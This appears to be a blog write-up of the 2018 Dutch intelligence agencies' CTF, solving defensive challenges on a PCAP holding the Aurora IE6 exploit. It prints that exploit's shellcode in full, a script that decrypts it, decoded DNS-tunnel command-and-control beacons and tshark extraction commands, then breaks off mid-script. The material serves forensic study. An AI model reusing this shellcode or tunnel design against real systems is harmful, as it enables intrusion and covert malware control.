From March till August 2018 the Dutch intelligence agencies organized an online CTF contest with challenges from various topics. This blog post will show the methods used to finish some of the defensive challenges.
pic.twitter.com/17Zvny8Zzk
― AIVD (@AIVD) February 22, 2018
1.0 BorealisThe title of this challenge is a reference to the IE6 zero-day ( CVE-2010-0249 ) that was part of the “Operation Aurora” campaign back in 2010.
This challenge starts with a PCAP file (MD5: 85ff10ac25b33366b72f617fd3561db3) that is the basis of all 1.x challenges. The traffic in the given PCAP file starts with an exploitation sequence that include the Aurora IE6 exploit (MD5: 51b1a60709a1cbf3303d2259775daf57, also available on https://pastebin.com/5Rrr6Gwn )
This challenge clearly involves the exploit code, so that is where the flag has to be found. The exploit code itself is not very special and does not contain any references to a flag, so the only place where the flag could be hidden is inside of the shellcode.
The shellcode can be analyzed statically with a disassembler or dynamically with a debugger, both options yield the same solution. In this solution the shellcode will be analysed statically.
Any disassembler can be used to analyse the shellcode, I used the online disassembler available at defuse.ca . But plenty of other alternatives exist. Disassembling the shellcode shows that a decryption routine at the end of the shellcode is executed that decrypts the main chunk of the shellcode by xor’ing each dword with 0x52504f57.

Shellcode decryption loop
A simple python script can be created that decrypts thethe content of the encrypted shellcode. As expected, the encrypted piece of shellcode stores the flag of this challenge.
#!/usr/bin/env pythonimport struct
# Shellcode from exploit
sc = u'\ufce8\u0000\ubf00\u5048\u5752\u021a\u1a1e\u1e00\uee52\u4d37\u2bd2\u81b0\u44ba\u504f\u0252\u1c1d\u3816\u3e38\u383e\u342e\u3806\u3909\u323e\u500e\uee02\ufe7f\u2bd2\u81b0\u3dc3\u3a4f\ubf52\u5054\u5752\u6a0c\u200e\u3e26\u3836\u2338\u230e\u3d2a\u0b22\u243c\u3033\u612a\u327c\u3537\ubf52\u506d\u5752\u2427\u2726\u7f75\u237d\u2420\u3b33\u2923\u383c\u7e3b\u2137\u3c26\u247d\u313b\u3235\u7e7e\u2f37\u502a\u5738\u81b0\ub53a\u5048\uee52\u7409\u2bd2\u81b0\u5738\u4ea7\u5752\u134f\u0b68\u2713\u393b\u3f2b\u2425\u0c13\u3226\u2022\u0b0e\u243c\u3033\u612a\u327c\u3537\uee52\u73e2\u2bd4\u81b0\ub53a\u5048\uee52\u7409\u2bd2\u81b0\uadeb\ud185\ua82e\u3a9e\u3421\u2b3a\u6533\u607a\u3537\u632e\u3166\u612e\u6367\u6229\u3337\u347b\u6667\u337d\u3660\u647f\u6e33\u602e\u572f\uc0df\u57c2\u504f\u5d52\ue989\u458b\u3500\u4f57\u5250\u4589\u8300\u04c5\uc085\uee75\ue1ff'.encode('utf-16le')
# Chunk of XOR-encrypted shellcode
encrypted_sc = sc[5:-23]
# Decrypted shellcode
decrypted_sc = ''.join([struct.pack('<I', struct.unpack('<I', encrypted_sc[idx:idx+4])[0] ^ 0x52504f57) for idx in range(0, len(encrypted_sc), 4)])
print decrypted_sc
Output:

Strings in the decrypted shellcode
Flag: jscu{a250eba34fa154f2ed4d512c2a04a9a0}
1.1 What’s in a name?The PCAP also contains C&C traffic of the 1st stage malware downloaded by the Aurora exploit. Traffic from the PCAP indicates that the malware talks with the C&C server over DNS. The C&C traffic can be identified by the hardcoded Transaction ID of 0x0001.

C&C traffic over DNS
Data in the DNS tunnel is base32 encoded and can be extracted quite easily. Decoding the contents of some of the first data streams with C&C traffic reveals that the following commands are implemented:
list $OS_VERSION get $FILENAME $OFFSETTo give a better idea of what the beacons look like, below you can find the encoded and decoded content of the first data streams from the C&C traffic.
UDP Stream 6 Request Response NRUXG5BAO5UW4ZDPO5ZS26DQFU2S4MJOGI3DAMA(list windows-xp-5.1.2600) MZWGCZZOMV4GKCTTORQWOZJSFZSXQZI
(flag.exe
stage2.exe) UDP Stream 8 Request Response M5SXIIDGNRQWOLTFPBSSAMA
(get flag.exe 0) JVNJAAADAAA (…)
(MZ (…)) UDP Stream 9 Request Response M5SXIIDTORQWOZJSFZSXQZJAGA
(get stage2.exe 0) JVNJAAADAAA (…)
(MZ (…)) UDP Stream 10 Request Response M5SXIIDGNRQWOLTFPBSSANZXGU
(get flag.exe 775) (…)
The response to the ‘list’ command indicates that two executables can be downloaded by the first stage malware, flag.exe and stage2.exe . S tage2.exe is required for challenges 1.2 and 1.3.
Following the list command flag.exe and stage2.exe are actually downloaded. Theexecutables are not downloaded in in one piece but in chunks. The offset argument of the get command indicates from which offset a next chunk of data should be downloaded.
The number of DNS responses in the PCAP is quite high, so the DNS data has to be extracted in an automated way. TShark can for example be used to extract the DNS tunnel data containing the encoded flag.exe and stage2.exe executables into two manageable JSON files.
tshark -Tjson -e 'dns.qry.name' -e 'dns.resp.name' -r ./challenge.pcap 'dns.id == 1 && ip.src == 198.18.81.9 && !udp.stream eq 6 and dns.qry.name contains "M5SXIIDGNRQWOLT"' > dns_flag.jsontshark -Tjson -e 'dns.qry.name' -e 'dns.resp.name' -r ./challenge.pcap 'dns.id == 1 && ip.src == 198.18.81.9 && !udp.stream eq 6 and dns.qry.name contains "M5SXIIDTORQWOZJSF"' > dns_stage2.json
Extracting the encoded executables is not that difficult once the DNS data is converted to a workable format. The only thing to take into account is that the chunks of data do not always appear to be downloaded in a sequential order, but this only requires an additional sorting step based on the download offset in the get command.
#!/usr/bin/env pythonimport base64
import json
import sys
def decode_base32(data):
""" Base32 wrapper. """
data += '=' * ((4 - len(data) % 4) % 4)
try: return base64.b32decode(data)
except: return base64.b32decode(data + '====')
def process(json_data):
""" Extract exe from json encoded DNS tunnel data. """
exe_dict = {}
for stream in json.loads(json_data):
layers = stream['_source']['layers']
if 'dns.qry.name' not in layers: continue
if 'dns.resp.name' not in layers: continue
query_name = layers['dns.